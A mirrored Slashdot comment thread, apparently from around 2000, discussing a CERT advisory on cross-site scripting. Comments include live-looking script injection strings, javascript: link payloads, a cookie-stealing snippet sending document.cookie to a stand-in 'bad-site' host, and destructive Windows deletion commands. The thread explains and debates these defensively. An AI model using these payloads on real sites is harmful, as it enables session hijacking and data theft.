Slashdot Mirror
CERT Advisory On Malicious HTML Tags
Anonymous Coward writes "Cert has published a major advisory on malicious HTML tags embedded in client Web requests.
Basically, all clients and all Web servers are affected by this problem. If a Web site does not scrupulously check all input data before posting it back to the user, malicious scripts could be executed over supposedly secure and trusted connections. Recommended solutions include completely overhauling Web sites, disabling cookies and scripts, and 'Web Users Should Not Engage in Promiscuous Browsing.' Sun, Microsoft, and Apache should have notices up on their sites shortly.
"
Site is down.
Smells of hot grits.
ActiveX exploits? What is that supposed to mean? By definition, an ActiveX control has full control over the computer and runs without any sort of sandbox. An ActiveX control can do anything a regular program can do, so it shouldn't surprise people that they can do things like format the hard drive, install viruses/trojans, reboot or lock up the computer, steal private files, etc. Nobody remotely worried about security should enable ActiveX controls, unless they are from a trusted site (i.e. a site that you would feel comfortable downloading and running programs from).
And what about trying to define "malicious" such that you include all the things that really are malicious (e.g. form spoofing) and none of the things that aren't, 100% guaranteed?
While you're at it, could you write a 100% foolproof censorware program that only censored porn and nothing else? No?
Oh, wait, you were trolling. Sometimes I take things too seriously.
Hello. I am 64 and I just got a computer a few months ago because my kids said I just had to see the internet. I am confused about an issue that is addressed specifically by this world wide web site. It seems to me that a whole group of talented young men should be doing something more productive then using your linux things to hack peoples computers. My wife, Natalie and I spent alot of money on our computer and we don't want people stealing our credit cards and hacking our things up or destroying our hard earned investments with viruses. I think that it is a travesty that this is even legal, personally it disgusts me. I hear nealy every day on the news about your people and the damage they cause to companies and how it is now possible that you are disrupting our precious military systems with your childish pranks. Well, I'd like you to know that I fought hard to give you kids the freedoms you now take for granted. I watched men die in a bloody war that I participated in, and I'll tell you something about those men. They did not die so that a bunch of punk kids could have the freedom to go aroud screwing up their country, their society, and their progeny's lives with talk of how everything should be free and that we need to "hack up the planet" as you people so elequantly put it. I think that this whole linux thing has struck a deep blow to our freedoms and has cost many good companies lots of well deserved dollars that would go to providing jobs and feeding families with your illegal activities. I wish you would put an end to all of this now and come to your senses for Christ's sake. You are advocating anarchy and lawlessness. It is my sincerest wish that the government will crack down harder on you people and make all that you do illegal so that you can stop hiding behind legal loopholes and stealing our property and livelyhoods. I refuse to see my country go down in flames due to the likes of you and will do whatever I can to carry the torch of freedom high. In good time you will all get what you deserve and all of you linux hackers will be going to jail, we good citizens just need to catch you first.
Wow... A Marine geek. Didn't know there was such a thing.
SHHH. Don't let that Don Knotts guy know that.
I dislike the way this advisory calls attention to the fact that user-inserted code may result in undesireable browser behavior, without bothering to address instances of site-inserted offensive or malicious code or markup. Advertiser-supported sites which repackage content such as Usenet postings are the foremost offenders here. remarQ.com, for example, is evaluating by random testing a policy under which "reserved words" in Usenet postings are arbitrarily marked up with hyperlinks pointing to sites belonging to the purchaser of the reserved word. This can result in the presence of the word "board" in a discussion of wooden vs. plastic cutting boards to create a hyperlink to a skateboard company. Amusingly enough, in the case of remarQ.com user-inserted annoying code appears more frequently when remarQ's inserted hyperlinks are called to the attention of its users. I say its a level playing field.
Maybe it's just tough to reboot an NT box with hot grits in your pants.
Show me a link that will cause my browser to send a cookie to a different domain than it came from.
Of course it's possible to force someone else to falsely hit a purchase link, but I didn't think it was possible to force the browser to cough up cookies it shouldn't (barring a bug in the browser).
BO is not a "remote admin thing." It's a trojan.
If it were a "remote admin thing" it would have a splash screen on startup that couldn't be disabled, and it would put an icon in the system tray.
It's a trojan, and it's designed with malicious intent.
back to gopher I guess ?
Free Jon's computers !
Don't expect anything like that from Netscape
:)
or IE. A big part of their bottom line is to
<strong>sell your soul</strong>
They could have done this years ago. More
money in covertly developing cookies into
what they are today. Even the name "cookie"
is deceptive. It has no context as to what
it's primary function is, to track you.
Aww..look at the nice cookies....*puke*
Break away from the commercial software world
people. These companies are out to get you.
They are going for your throats with these
shrink wrap licenses and UTICA.
<strong>hmmmmm</strong>
*shrug* who needs the tags!
Often it's pr0n or w4r3z sites that do this but it's damned annoying. Worse than the blink tag.
Yep, they smell like hot grits.
history.go(-5);
Is there a site that lists stuff the community has found really trustable, with MD5's for the downloadables, so there's no question of what version etc. is being blessed?
Is there an open source instrumented winsock to watch and log what goes out?
iCab, a renegade web browser for the MacOS, has these features already. Plus it is a 2MB download. I'd like to see Mozilla beat that! -Ben
Troll? I don't think you know what a troll is, Modo-drone. And developers are still irresponsible losers, BTW.
YEAH MAN... Exactly! I mean, let's go all the way - why even bother with all this firewall crap - it just serves to make it harder to get at the stuff you want, and for others to get stuff from you. And this passwords and security stuff, I mean, well who needs them? They make it so much harder to use your computer. And protected mode operation - bah! Makes self modifying apps too hard to write!
:-)
If you didn't notice, I'm being sarcastic...
I clicked the link and got a whole bunch of free browsers. HA! I only paid for ONE! Free Software RULEZ!
"If I had to choose between government without the military, or the military without government, I would not hesitate to choose the latter."
Col. Oliver North, USMC
This link goes nowhere so whats the point.
HTMLdk
Thank you.
I use MSIE 5, and I usually can overcome the OnMouseOver nonsense by right clicking on the URL. When it brings up the list of things to do, it usually shows me the real URL in the status window...doesn't work when stuff is scrolling in it, but it seems to work otherwise.
WebWasher works very well with wine (ver 9912XX and onward) under Linux.
Add "no OnClose" option to that list
Just because some tech exists in any poxy form ( syphilis is popular, too ) doesn't mean it's a Good Thing(tm). I have all this crap turned off in my browser, too, and I certainly don't suffer for it.
I suppose you disregard condoms, too, eh sonny?
Yeah, when Smell Mail becomes a reality, I want a web browser that can protect me from the Limburgers and Armpits of the Internet. Spam smells bad when it's rotten.
All I can hope for is increased use of Java on sites. That's an aroma I can't live without.
"Who cut the cheese!?!" Sorry, I forgot to run my smell checker on that document.
Pig biting mad nothin! I done spilled my grits all down my legs hopping up and down over this one! Cain't believe the gall of them high-fallootin hackers tearin' up the int-er-net like they all do with their dadburned linixses an all. If ma' Natalie weren't up'n petrified ahd kick the livin daylights outta evr'y last one ev em. I agree with that thar man who so valiantly defended our nation and ahd stand by his side anyday.
> "Look ma! I can spell "prophylactic"!"
Don't worry, I'm sure your mom is real proud
that you can spell "prophylactic".
My Microsoft Internet browser protects me from bad things like this. I don't think Microsoft would be such a successful company if the allowed hackers to hurt their users. There are a lot of really smart people at Microsoft and I'm sure they have fixed any problem that might happen because of this.
P.S. I also practice safe computing as Microsoft has told me, it is important to avoid "bad internet zones"!
My reaction...
I find Ed Anger's work as deeply compelling as the likes of Henry Miller and Charels Blukowski. My favorite work of his is "Heath Food Is Turning America in to a Bunch of Beedy-eyed Weaklings". Thanks Ed, Keep posting We need you! The Linux Community
For me, the only reason NOT to turn off JavaScript under Netscape is that it also disable Style Sheet. This seems to affect all versions of Netscape under Windows/Mac/Linux. Anyone know of a workaround?
Note: This is not a problem in Mozilla
oh well php offers strip_tags and addslashes functions.
No pr0n!
;-)
Get a Freenet account. My freenet account at tcfreenet.org provides is a dialup shell account, and the shell is lynx. Browse the web through VT-100 and you're be fairly safe.
malicious code
malicious code
I know only a little about HTML, and hardly anything about Javascript, so I'm still trying to figure out the mechanics and implications of this alert. When I put my mouse over your link, the command line (at the bottom of the X window, I'm using Netscape 4.x under Linux BTW) I can see the Javascript that you embedded in the link. Will this always be the case? Of course, I suppose that there is always some way to make the script look harmless...
Yes I read the posts. And I agree with the old man. I DO NOT need hacking tools to do legit work on a computer. MSOffice and IE suit me just fine.
Just because we choose not to buy a product, doesn't mean we are breaking the "rules of society".. duh, it's called competition...
OnUnload unloader??? Now we have no excuses when mom walks in on the porn browsing. "I dunno... I just when to this one site and it popped outta no where!"
Damm you don't ruin it for the rest of them!! Its funny! I think Rob should give this guy a writing job once and a while on slashdot!
You can steal cookies. Therefore you can steal someone's identity online.
Many web services rely on cookies as a mean of authentication. Get the cookie in the right timeframe, and you have full access to a user online account ( webmails being an obvious example )
THE DEATH OF THE WEB IS NIGH !
/. has a fairly limited set of allowed tags), then simply making a link to other sites (which may have house much more evil surprises for the naiive unsuspecting websurfer, witness the latest disturbing trend of A/C's imbedding links to porn sites within /. posts, which purport those links to be something relevant to the discussion thread) may be deemed to need to be banned.
Way back when the Internet was still fairly young, and USENET was king, before the day that the newly created http was widespread, it was announced that the death of the 'net was at hand. Those darned newfangled http servers and the mosaic graphical "web browser" and commercialization of the Internet were deemed to be the culprits who would drive the nails into the coffin lid of the Internet. In a symbolic way, that prophecy came true. The 'net was never been the same since, and the "old way" truly has died. Now this latest CERT alert brings forth a truly grim spectre. If HTML code itself is deemed malicious, especially if such HTML can be created via user input on these such discussion group websites (even though
Can this A/C actually be spouting such nonsense, suggesting that linking outside of your own site should be banned?
Not that I support banning linking, I don't since that's one of the whole underlying fundamental concepts of the web, but there are WHOLE LOT of very powerful forces out there: government organisations, corporations and powerful individuals who despise linking and want to put an end to it. They want all websites to be explicitly self-contained, mostly for the reason of copyright and content control of their own sites. This latest alert is just the kind of weapon they are looking for to support their goals. Be prepared to fight hard to defend the right to link to URL's outside of your own sites, that war has begun now. We've already seen the first few battles, and many many more are heading straight for us at full throttle.
Illegitimis non carborundum
Umm... that's a nice example. Moderate that up please?
Of course you can. I guess you've never heard of sticky load balancing with a load manager and a session backup, eh?
It sure is more work, but it is done routinely by various application servers and, I guess, even in-house-developed systems.
> Also, cookies can last longer than sessions, so your site can recognize somebody the next time they visit.
And nevertheless you force them to authenticate themselves.
> Most web development guides recommend against using session variables.
I don't know what "guides" you read, but every application server out there worth anything has a session manager built-in and they are all heavily used.
Talk about misinformation...
Nice one. Luckily, I opened it in another window, and thus was able to close it by holding down 'Enter' and rapidly clicking the 'close window' widget. This is in Netscape 4.7 on Win95.
Not killer, but a nice show nontheless.
uh, doode, I think the dk is for Don Knots
test
Translation 1: I'm too lazy to learn how to do anything -- someone do my work for me.
Translation 2: I'm best suited for telling others what to do.
Ya know, I had a business partner once who had a similar mindset. Thought all he had to do to keep up his end of the business was to tell me what he thought would be a good idea. Then, presumably, I'd go and lock myself up in a room coding 12 hours a day for six months, then we'd make the bucks and split the profits 50/50.
See if you can figure out why this didn't work out so well for me.
Consider yourself ignored.
Oh, no, wait a sec -- I've got a list of nifty ideas for projects right here. As soon as I dig 'em up, I'll expect you to get to work...
test1
What might have provoked this is RemarQ's charming habit of dropping links into their version of Usenet or, more precisely, the newsgroup rec.arts.sf.fandom's response to that habit. Various people on rassef didn't like the idea that, if we had the word "board" in our posts, RemarQ would like to a snowboarding ad and make it look as though the ad was part of our posts. (It didn't help any that they include a disclaimer explicitly stating that all content was the responsibility of the Usenet poster, at the same time as they inserted links that they were being paid for.) One of the things some rassef people did--in addtion to sending in complaints--was to drop HTML into messages and headers. Some of that HTML was intended to make messages hard to read in any graphical browser (like the "blink" and "marquee" tags) and some did things like redirect the reader to a page explaining what the poster disliked about RemarQ's policies. This may, of course, be coincidence: but given that this is hardly a new vulnerability, I suspect that the fact that, suddenly, it was ordinary Internet users fighting back against a middle-sized business might have gotten someone's attention. Before everyone decides to join our crusade, I'll note that RemarQ seems to have stopped inserting links, at least for the moment. Note: this is coming from "Anonymous Coward" because I can't remember my slashdot ID; I'm Vicki Rosenzweig, http://www.redbird.org
I'm getting tired of it anyway.
So if IN THEORY somebody were to go on a site for any major film studio an post a comment to a message board within that site (containing a link with malicous code) would the owner of the site be responsible?
The same companies are running all over the place sueing any site linking to DeCSS and holding the site owner responsible for the link (even it the SySops didn't build the link), so by the same logic a link with malicious code on the studio's web site would seem to be (in part) thier liability.
DISCLAIMER: I'm not suggesting doing anything, but I just ask the question for the subject of conversation.
Editing you binary is better than hoping people get filtering right.
[a href="javascript:alert('ouch')"]
Or
[a href="/legit/url" onMouseDown="alert('yow')"]
And let's not forget javascript stylesheets...
twy
This is why we should use lynx.
It supports browser spoofing, site based denial of cookies, SSL support, and will *not* pop up any extra windows.
This is my first post script.
My friend Spankey thinks that you are wrong. My friend Spankey says that we should all use GEOS. That way, we wouldn't have to worry about things like this, becuase there is no Web Browser for Geos (my friend Spankey says there is, but it's just a really stupid little paint program).
-A Friend of Spankey
HTMLdk tag filter.
Thank you.
Oh come on! The "most stupid place in the earth?"
There have been lots of topics that "everyody knew about" that have proven to be poorly understood: IP spoofing, macros viruses, buffer overflows, weak authentication, and so on and so forth.
For years, people have complained about advisories *after* there was a big problem, now people are bitching about an advisory that happens *before* a big problem.
The good news is that now there is absolutely no excuse for people to commit this error in the future. How much you wanna bet *that* will be the case? Besides, the problems really is rather complex, and if you think you can describe a complete solution, then you probably don't understand all the implications.
Escape your input stream. Old idea. One day I'll get a /. account again. Lion
Nobody ever expects JavaScript entities.
Hey cDc rulez!! They were the first to make that cool remote admin thing BO. I mean nobody else had made anything like that. So back off buddy!!
What about system32?
I'm suprise to see this coming up now of all times. I think there's too many people out there who recently bought web site in a box kits and are only now realizing the ramifications. So if your wondering why this needs to be stated at all, imagine a general public -- without a clue. Yes indeed Bob, your holding a gun in your hand, and oh by the way -- the gun barrel that's the end pointed at your shoe :)
Geos Info!!!
-A Friend of Spankey
It's hard to believe how clueless software developers are. Don't any of you people ever think anything through before implementing it? How can all of these products be so flimsy? It's incredible.
promiscous web browsing -> safe web browsing
Although you may stumble into it randomly from no-such.com, formerly known as hell.com .
If you're using a Win32 you could try Proxomitron. It's a client-side proxy that filters HTML as you browse. You can create text matching rules to selectively filter HTML tags or JavaScript commands.
<SCRIPT OFF="234778750897928374375882834234">
insert user-submitted HTML here
<SCRIPT>evilcode;</SCRIPT>
<SCRIPT ON="234778750897928374375882834234">
The first tag would turn scripting off, so "evilcode" wouldn't execute. The last tag would turn it back on. That long numeric code (a random string) is needed so the malicious code can't do a command, as it could not predict the code.
The problem with this is that it would not protect people using older browsers, so the server would need to do filtering anyway. The same thing would happen with a program like you describe - the program would only be able to recognize user-submitted code it the server enclosed it in special tags, and then it may as well do the filtering.
Someone needs to come up with a solution that is backwards-compatible. What would happen if the server included some purposely invalid Javascript code before any user-submitted information (something that causes an error, like referring to an invalid object). Would the browser disable scripting upon seeing the invalid code? That would prevent it from running the malicious code, if this worked.
Try http://www.junkbusters.com It lets you block servers (like annoying banner ads), not to mention their sites. And yes, it's available for Linux too :)
So you hate spelling and grammar Nazis...how about style Nazis (and I mean writing style). Your comment, while correctly spelled (allowing for jargon terms like "pr0n" and "Webspy") and grammatically correct (mostly; the second sentence should really not begin with "or"), could be written beter. Let me rewrite your comment in a more standard style...
Does not engaging in promiscous browsing mean not using Dug Song's Webspy program? Or does it mean not looking at all this pr0n? I'm so confused.
It's Javascript, not Jscript.
The worst you can do is really bog down someone's computer to the point of locking it up. Dude, just go visit some cheap ass porn sites. You'll see what I mean.
Hmm, trusted and untrusted zones. That's an IE feature that a certain open-source browser needs to copy.
%60%66%76%73%78%75%62%60FONT size=+3%62YOU ARE RIGHT!%60/Font%62%60/Blink%62
Boy are you new to the Universe ????
/., here we are purely for expressing our freedom such the giving you the freedom to post what you want.
.....
Did you not know that Freedom is the basic rule of the Society ?
Cracking and Virus is illegal, sure but at the same no one is talking about monopolizing and cornering the market.
Anyway you surely have not understood
I guess you should be able to appreciate it for having be allowed to post such a blatent general misconceived idea of your
Grow up kid !@##$@!@#
<IMG SRC="http://barneyonline.com/images/bab4.gif">
As Ross Perot would say, problem solved.
- Scott
------
Scott Stevenson
Scott Stevenson
Tree House Ideas
If anyone doubted that this was a problem ... I got bit by Chester K
test.. this will be more clear in a sec ;0
[w00t@freaky.bish]# rm
alert("afsjdfsdfklj! slashtod version .069 :)")"> Click here for more info on this thingy There once was a man from nantucket... (irrevelant weewee joke)
[w00t@freaky.bish]# rm
Let M be a Turing machine.
M1(g(M)) =
+ if M stops with input g(M)
- if M does not stop with input g(M)
Modify M1 into Turing machine M2 as such:
M2(g(M)) =
undefined if M1(M) = + ie M stops with input g(M)
+ if M1(M) = - ie M does not stop with input g(M)
Does M2 stop with input g(M2)? Yes, simply extend your right index finger, place it over the small projection inside the depression labeled "reset" in the central processing unit of the Turing machine and exert gentle forward motion with the index finger. Lift your right index finger from the depression and place it into your nostril.
QED.
If you don't do some sanity checks, you're bound to get burned. I know I've written a lot of things that don't check for this, even though the thought had crossed my mind a number of times.
This is just further proof that JavaScript is evil. It's capable of doing some really nifty things, all at the expense of safety and security.
Because I use Internet Exploiter at work, I can reject JavaScript, cookies, and Java by default, and selectively enable them on a site-per-site basis (or with wildcards, like *.hotmail.msn.com) simply by going to Tools > Add to Trusted Zone. It makes Superbad fun, and GeoCities bearable.
Is Mozilla going match this feature, or are they going to continue doing their own thing, and ignore what makes other sofware good?
basically, set the browser proxy to localhost and everything gets sent through this program sitting in the system tray. it even allows configuration for use of multiple proxies which can be switched between with a few clicks.
the version i've got came pre-configured for a whole bunch of java-script related stuff (all with great names...):
- Banner Blaster
- OnUnload unloader
- Embeded MIDI Silencer
- Kill all Popup Windows
- etc.
it says that it would always be available @ http://proxomitron.cjb.netThere is actually a very simple tension here. When web designers ask me how to create a secure site, I tell them the simple answer: replace CGI functionality with Java and JavaScript, make pages static wherever possible, and serve on the likes of Dan Bernstein's publicfile. (Surf on over! Take a look! Best thing since qmail!) This will practically guarantee that the website won't be defaced. (Serve static pages exclusively from an unpriviledged chroot environment on a read-only fs? Turn off all other services? Go ahead! Make my day!) Then when web users come and ask me how to secure their browsing, I can tell them that I really don't trust Java, JavaScript, et. al. for lots of reasons like are mentioned in the CERT advisory. Well, at least *I* never use Java/Javascript! Web designers are going to continue to watch out for their own skins and try to prevent their sites from being defaced. A secure website is one that doesn't get defaced. If that means manipulating user data as little as possible to prevent the likes of buffer-overflows, so be it. Web designers will always face more pressure to try to keep their sites from getting cracked than for input validation; this advisory will just end up by and large ticking users off; what will webmasters do? So naive users will continue to lose. What we really need is to get back to making some real open (like RFC) standards for the new applications that are served across the web and write separate, *secure* clients and servers, rather than try to backdoor everything across the web. And we need to improve the basic HTML language to be expressive enough to handle real documents without needing sprucing up. (Amaya is leading the way here.) And as for the javascript crud? I'm not missing it. Sorry.
I thought one of the cardinal rules of web design was to NEVER trust any input comming from the net... EVER!
USERS WHO DO NOT PASSWORD PROTECT THEIR ACCOUNTS ARE LEAVING THEIR ACCOUNT OPEN TO PEOPLE WHO MIGHT DO BAD THINGS WITH IT. WE HAVE DISCOVERED BAD PEOPLE OUT THERE WHO WOULD DO SUCH THINGS SO PLEASE BE CAREFUL.
The worst thing is: It even works though I *have* switched off JavaScript (Netscape Communicator 4.5 on Sun something), because it is in an URL...
How lame can you get? I'm giving up. I'll tell everyone I know that microsoft is the answer.. only THEY can protect us from our imaginations. My god, look what happens when people have the ability to do things without supervision! Save me Bill!
... is that this "exploit", if that's what you want to call it, has been known for a while. I recall some HTML tags being embedded in the feedback form on Microsoft's Win2K test site, that redirected surfers to RedHat's website. This was several months ago, and I'm sure people have been doing this kind of thing since time immemorial. And CERT is only posting an advisory now?
Makes you wonder...
- Adam Schumacher
cybershoe@mindless.com
ICQ UIN: 10222694
Posted by cookieman.k:
Hi! If you deltree c:\windows then format.exe wich is in c:\windows\command won't run. So there must be something between the two commands.
This isn't news to most programmers. Sure, some of the attacks mentioned are fairly clever, but the principles have been around since the beginning: find input that causes the program to behave in an undefined way, and hope that it can't tell the difference. My guess is that most programmers already check for this kind of crap - as in fact you point out from your own experience.
The thing that's always fascinated me about this sort of thing is how anyone can have so much free time and brain power to waste coming up with this garbage. Hello, don't you losers have anything better to do???
Well, it's only been 14 months, then. That's pretty good for CERT.
Come on this is NOT BIG NEWS . . . This is been around for the longest time . . . I think there was a time when Slashdot reported a news article about some Lego Mindstorm code thing . . and apparently the article came from Yahoo!, but in essence it was a query to Yahoo! and imported a page from another page using the tag . . I think this was reported to BugTraq and they were like "Oh, that's nothing not a problem" so . . Oh well . . I guess if it doesn't come from cDc (Cult of the Dead Cow) then it's not worth looking at . . .
Malicious code
:)
Oh no, Slashdot is vulnerable! No one is safe from the dreaded CERT Advisory Exploits!
---
pb Reply or e-mail; don't vaguely moderate.
pb Reply or e-mail; don't vaguely moderate.
Just out of curiosity: how many people looked at the page source of that script before running it? (I did).
All I get is a "Not Found"... Did we slashdot CERF?
-- I have a private email server in my basement.
was called BLINK.
Wow.
--
"L'IT c'est moi!"
Except the advisory isn't talking about any actual bugs, it's talking about sites which take un-verified input and use it to produce HTML pages. It has nothing to do with browsers not being 100% rock solid. The browser can't tell the difference between JavaScript that's part of a comment on a messageboard and JavaScript that's in the header bits the server puts on.
;)
That said, it's still a dumbass advisory
--
Kevin Doherty
kdoherty+slashdot@jurai.net
Kevin Doherty
kdoherty+slashdot@jurai.net
Or maybe stupid. I don't really understand it. I think they developers don't actually read any of the Perl books. Validating that user input is what you actually think it should be is *basic* security.
Maybe they are ASP developers.
Deleted
There's one problem with that: I'm not the world's greatest C hacker. I can think about it, but I don't have the skill or the time necessary to get that skill to add that feature. Therefore, I think about the features and occassionally suggest it to others, those who have the capability and the resources to do it. I would love to have the time and ability to hack my own private copy of Mozilla, but I don't.
You can set ~antibookmarks~ if you are using the antibanner GPL proxy Junkbuster.
Simply set in sblock.ini (regular expressions allowed) which sites must be blocked.
--
__
Men with no respect for life must never be allowed to control the ultimate instruments of death.
GW Bu
Doesn't CERT have anything better to do?
;-)."
Perhaps a better CERT advisory would be "people who don't check data from untrusted sources should not be allowed to program (or breed
I've been off checking our site, and a few others, for this vulnerability. /. suffers from it, in any case. Just enter
"><script>alert("sucky");</script><
into the search box. As other have commented, this is dangerous because that bit of JS can access all the DOM and any other content on a page - perhaps including user passwords and stuff.
Don't allow HTML tags -- period! Strip out ALL greater-than and less-than signs and replace them with (ampersand)gt; and (ampersand)lt;. If you absolutely must have tags, create your own custom tags (say, for instance, LINK("http://slashdot.org")) and let the CGI convert them to real HTML tags. And, if you're dealing with a link tag or some sort of tag where a URL is required, strip out question marks and "javascript" from the URL.
the ie powertoys comes with a utility to turn images on and off quickly, so it may be easy to do the same for jscript.
/q c:\winnt\profiles\\recent\*.*
to clear your documents window, just create a batch file with the single line
echo y | del c:\windows\recent\*.*
(in windows nt, use
del
)
This is important to note: this is not just a javascript issue. You can exploit this in various other ways, such as form tags, etc. Yes, it is harder and perhaps less rewarding. Disabling javascript does avoid much of the risk. But it is important not to think that this is a problem with javascript in particular.
You are missing the issue. The issue is that this is not necessarily malicious code, but that this hole allows you to break through the partitioning between sites.
For example, one site should never be able to see cookies set by another site. By exploiting this hole, you can do things like this.
Yes, I have seen an example last week from (some big company) on one of the websites' front pages. Follow a link, and it sets a cookie that replaces the content on the front page with something else, persistently, until you delete the cookie. This was a real life example.
Do you ever do anything on the web that you would like to be private or restricted and not completely exposed to the world?
If not, you have no problem.
If you do things like online banking, shopping, etc. where your proof of identity matters or where there are real world implications, this could impact you.
Even if slashdot filtered javascript: links (which are one of the things I mentioned in the Apache docs about htis issue), it would still be vulnerable. Remember, _ANY_ page on the server that doesn't properly encode output makes you vulnerable. In this case, an easy one is the default 404 page. Many webservers (well, most from what I have seen) do not properly filter URLs output on 404 pages. Apache did, but it didn't set an explicit charset so it was still vulnerable in some situations.
That would break a lot of valid things. Likely, on most sites, enough to make it worthless. In addition, filtering those characters is not always enough.
I have thought about possible fixes a lot over the past week. I haven't come up with anything that works too well yet other than simply having the developer make sure all their output is properly encodeded, where "properly" may be yet to be defined.
Well, then the cookie should contain the encrypted password. You can get the username (and all other personal info) just by accessing slashdot with that cookie.
Note that it isn't entering the URL that is the problem. I could enter a "normal" URL that redirects you to the same place. The problem here is that slashdot's 404 page doesn't encode the requested resource's name before outputting it. The only role that my posting the message with the link in served was the delivery method. There is no resaon for that to be slashdot itself, other than a lot of the people reading slashdot have accounts.
All you need is a single such page on a server, and a way to convince or force a user to follow an arbitrary link (and that is really pretty easy) and away you go.
As the advisory says, filter filter filter or encode encode encode. Unfortunately, it isn't as easy as it should be to do this properly.
One of the reasons so few people understand it is because they assume they know all the issues. Trust me, you almost certainly don't. Don't just read the title or the first paragraph of the advisory.
Read the full thing. The real issue is not obvious to most people until they have gone through it a few times and understand what it says. Read the info on the Apache site. Read the info from MS when it comes out. Understand it. Then come back and say this is the same thing as not filtering SSIs in guestbooks.
The only reason that "notthere" is used for slashdot is because it goes to a 404 error page that includes the name of the document without encoding it. If this is done using SSIs, then applying the Apache patch on the Apache site will fix this by defaulting to entifying all SSI echo commands.
/cgi-bin/printenv instead because it didn't properly encode its output.
If you had a server with an older version of the Apache printenv, you could use
etc. This is a site dependent thing.
The cookie contains everything you need to access slashdot as that user. It doesn't matter if you have their password if you can access the site as them.
It looks to be a userid and a crypt()ed password or something. But the details don't matter.
There is a problem with the change password feature on slashdot though; it should require you to enter your existing password. The way it is now, a user that has stolen your cookie can use it to change your password to something they know. No, not a huge difference between changing the password and just accessing the site as you, but...
"if a server isn't vulnerable, how can you say it is?"
Well gee, probably because the statement that it isn't vulnerable is wrong. Why do you have any reason to think that Roxen magically avoids this problem by properly encoding things or stipping out HTML in every case? Why do you think there are no bugs in it?
And if you read the thread or the advisory, you would see that the vulnerability has nothing to do with "allowing people to post HTML tags in guestbooks". That is ancient news, although the problem is still amazingly common.
Here is one very easy to find example: the most obvious example
If you think this is the same issue as a site having modified content on it because it mirrored another site that had modified content posted then you obviously read neither the advisory or the posts here.
Please don't post stupid comments without having any clue about what the facts are. Obviously the advisory is nothing new to people who don't read it or who don't understand what they read.
Good idea. Unfortunately, it isn't so easy to implement. There are lots of ways to disguise this stuff and lots of valid things that could be caught so I really don't think it would work well. Feel free to prove me wrong...
I really don't think there is any magic bullet that the web server software can use to deal with this. Wish there was.
No, that is the whole point of this problem. I can give you a link that, if you click on it (or even just read a HTML mail message with an IMG SRC pointing to it) will send me your amazon cookies and all the information I need to access amazon as you. I tried this the other week. It works. This is why the issue is news. It is not a simple issue to understand the implications of.
If you don't have one click shopping enabled, then they would still need your password. Someone can probably can modify the page you see to grab it if you follow a specially fomatted link to amazon.
Sure, in this case they can only buy books for you and there is still the physical delivery aspect stopping a true theft. But this is the sort of thing that this hole exposes.
Everyone seems to be forgetting the most malicious tag of all... (blink)!(/blink)
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
TEE HEE!
Comment removed based on user account deletion
Browsing the Internet with Javascript, ActiveX, Java, or anything like that enabled.
By default, you should not execute code on your box, if that code came from someone else (e.g. a web site, an email, etc), unless you examine the code first. That's just common sense.
---
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
Your right. I had forgotten about that! Well good thing that all web sites are "open source" then
And i use the term VERY loosely!
What on earth is "Promiscuous Browsing"? Given the magnitude of the problem, is this not a euphumism for "dont browse at all"? Eeek. No more Slashdot
John Fred.
/usr/games/fortune > ~/.signature
Now, the first one was fairly good. It even caught a few of ( probably ) younger or less experienced /. community members. But this one is a masterpiece! I have never before seen a troll ( IF it is a troll, of which fact I am about 80-90% sure ) that would look so delightfuly genuine. If I had any moderatoin points I would put all my moderation points on this one, but would still set it to "flamebait" or "troll"
Everybody Lies. But it doesn't matter since nobody listens.
$user_input =~ s/|([^|])*|/ /gs;
:-) But that'll take any HTML out of user's comments. If users to be able to post links, why not just scan for URLs and put anchor tags around then?
You have to replace the | characters with a less-than, and two greater-than signs respectively because Slashdot strips 'em out
But then I thought we all knew browser-side scripting was inherently insecure...? Why has CERT only just decided this is a problem worthy of their attention?
Matthew @ Bytemark Hosting
Not much of a web developer are you?
Just Kidding. Still, anyone who codes for the web should always remove ALL HTML tags, except for a predefined set, if deemed needed. That should be standard "web developer" knowledge.
Just like on SlashDot here. See that line down below the submit button? It reads: "Allowed HTML
"
All these tags are relatively safe tags. You can't post images, you can't post scripts, objects, embeds, forms, or other bad stuff.
Now, you CAN make a link that runs a script when clicked on, within that set of tags, so it's not totally secure.. [a href='javascript:code here'] and so on.
---
- Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
Bloody hell. That's what I get for not previewing.
:-)
.*> [DIV> [P .*>"
Here's the unmangled post:
This one really took me by surprise as a web developer.
Not much of a web developer are you?
Just Kidding. Still, anyone who codes for the web should always remove ALL HTML tags, except for a predefined set, if deemed needed. That should be standard "web developer" knowledge.
Just like on SlashDot here. See that line down below the submit button? It reads: "Allowed HTML [B> [I> [P> [A> [LI> [OL> [UL> [EM> [BR> [TT> [STRONG> [BLOCKQUOTE> [DIV
All these tags are relatively safe tags. You can't post images, you can't post scripts, objects, embeds, forms, or other bad stuff.
Now, you CAN make a link that runs a script when clicked on, within that set of tags, so it's not totally secure.. [a href='javascript:code here'] and so on.
---
- Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
*chuckle*
Wow, that brings back memories of my CS classes... bad memories, unfortunately (the instructor was kind of a loser: he had a serious "child molestor" look about him, which wasn't helped by how often he brought in his toddler-aged daughter, and pawned off *all* of his work, including many class sessions, on his various overworked grad students).
But weren't all those extra thingies which were the reason we abandoned our outdated (put-here-some-browser-you-liked) and switched to MSIE?
So Microsoft (among others) will advice us to not use the features they added to its browser to make us switch to its browser. So why should we ever switch and use MSIE?!?
ms
It put an entry in the right click menu of your browser that would block this URL in future but this feature does not seem to be the current release (1.2.2)
I think it was irresponsible to wait as long with this advisory as CERT has done. The exploits have been known for years. When hotmail forced javascript down the throats of their customers, there was a huge uproar in news.admin.net-abuse.email, because spamfighters have learned the hard way that javascript can easily be abused. One of the threads started with 552549264 at deja.com.
hotmail just requires javascript, it still works without it. Download the source of the simple form I wrote and try it yourself. My form may not look as flashy as the opening screen at hotmail, but it downloads a lot faster.
The web doesn't need javascript, however marketroids love it, because it makes it easier to collect information.
I *think* the worst that can happen is the snooping of cookies and othe request information from the site that's including the "bad script" back to the originator of the "bad script".
Using that example, I think you could do something like the following (included script shown):
var cookieStr = encodeCookies(document.cookie);
var win = window.open("gotcha", "http://bad-site/grabdata.pl?"+cookieStr);
And not just cookie data, but other request info. In general, I don't think this is a big problem, but I'm normally not nearly creative enough at seeing how things can be exploited.
First of all, I can't believe they're bringing this like it's something new. Hasn't this been always known, what with hotmail exploits on bugtraq every week?
